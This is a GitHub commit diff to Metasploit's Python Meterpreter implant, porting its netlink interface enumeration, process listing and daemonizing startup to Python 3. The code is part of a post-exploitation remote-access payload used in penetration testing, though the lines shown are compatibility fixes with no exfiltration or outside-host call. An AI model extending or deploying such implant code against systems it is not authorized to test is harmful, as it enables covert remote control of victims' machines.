Skip to content

Commit d8dcfd8

Browse files
committed
Update pymeterpreter netlink to support python3
1 parent 145776d commit d8dcfd8

File tree

2 files changed

+52
-6
lines changed

2 files changed

+52
-6
lines changed

data/meterpreter/ext_server_stdapi.py

Lines changed: 48 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -48,6 +48,16 @@
4848
except ImportError:
4949
has_winreg = False
5050

51+
if sys.version_info[0] < 3:
52+
is_bytes = lambda obj: issubclass(obj.__class__, str)
53+
bytes = lambda *args: str(*args[:1])
54+
NULL_BYTE = '\x00'
55+
else:
56+
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
57+
str = lambda x: __builtins__['str'](x, 'UTF-8')
58+
NULL_BYTE = bytes('\x00', 'UTF-8')
59+
long = int
60+
5161
if has_ctypes:
5262
#
5363
# Windows Structures
@@ -503,6 +513,40 @@ def get_stat_buffer(path):
503513
return st_buf
504514

505515
def netlink_request(req_type):
516+
import select
517+
# See RFC 3549
518+
NLM_F_REQUEST = 0x0001
519+
NLM_F_ROOT = 0x0100
520+
NLMSG_ERROR = 0x0002
521+
NLMSG_DONE = 0x0003
522+
523+
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
524+
sock.bind((os.getpid(), 0))
525+
seq = int(time.time())
526+
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
527+
sock.send(nlmsg)
528+
responses = []
529+
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
530+
return responses
531+
raw_response_data = sock.recv(0xfffff)
532+
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
533+
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
534+
while response.type != NLMSG_DONE:
535+
if response.type == NLMSG_ERROR:
536+
break
537+
response_data = raw_response_data[:(response.len - 16)]
538+
responses.append(response_data)
539+
raw_response_data = raw_response_data[len(response_data):]
540+
if not len(raw_response_data):
541+
if not len(select.select([sock.fileno()], [], [], 0.5)[0]):
542+
break
543+
raw_response_data = sock.recv(0xfffff)
544+
response = cstruct_unpack(NLMSGHDR, raw_response_data[:ctypes.sizeof(NLMSGHDR)])
545+
raw_response_data = raw_response_data[ctypes.sizeof(NLMSGHDR):]
546+
sock.close()
547+
return responses
548+
549+
def _netlink_request(req_type):
506550
# See RFC 3549
507551
NLM_F_REQUEST = 0x0001
508552
NLM_F_ROOT = 0x0100
@@ -699,9 +743,8 @@ def stdapi_sys_process_get_processes_via_proc(request, response):
699743
cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
700744
status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
701745
status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
702-
status_data = filter(lambda x: len(x) == 2, status_data)
703746
status = {}
704-
for k, v in status_data:
747+
for k, v in filter(lambda x: len(x) == 2, status_data):
705748
status[k[:-1]] = v.strip()
706749
ppid = status.get('PPid')
707750
uid = status.get('Uid').split('\t', 1)[0]
@@ -974,7 +1017,7 @@ def stdapi_net_config_get_interfaces(request, response):
9741017
else:
9751018
return ERROR_FAILURE, response
9761019
for iface_info in interfaces:
977-
iface_tlv = ''
1020+
iface_tlv = bytes()
9781021
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
9791022
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
9801023
if 'mtu' in iface_info:
@@ -1002,7 +1045,7 @@ def stdapi_net_config_get_interfaces_via_netlink():
10021045
0x0100: 'PROMISC',
10031046
0x1000: 'MULTICAST'
10041047
}
1005-
iface_flags_sorted = iface_flags.keys()
1048+
iface_flags_sorted = list(iface_flags.keys())
10061049
# Dictionaries don't maintain order
10071050
iface_flags_sorted.sort()
10081051
interfaces = {}
@@ -1106,7 +1149,7 @@ def stdapi_net_config_get_interfaces_via_osxsc():
11061149
hw_addr = hw_addr.replace(':', '')
11071150
hw_addr = hw_addr.decode('hex')
11081151
iface_info['hw_addr'] = hw_addr
1109-
ifnames = interfaces.keys()
1152+
ifnames = list(interfaces.keys())
11101153
ifnames.sort()
11111154
for iface_name, iface_info in interfaces.items():
11121155
iface_info['index'] = ifnames.index(iface_name)

data/meterpreter/meterpreter.py

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -510,6 +510,9 @@ def create_response(self, request):
510510

511511
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
512512
if hasattr(os, 'setsid'):
513-
os.setsid()
513+
try:
514+
os.setsid()
515+
except OSError:
516+
pass
514517
met = PythonMeterpreter(s)
515518
met.run()

0 commit comments

Comments
 (0)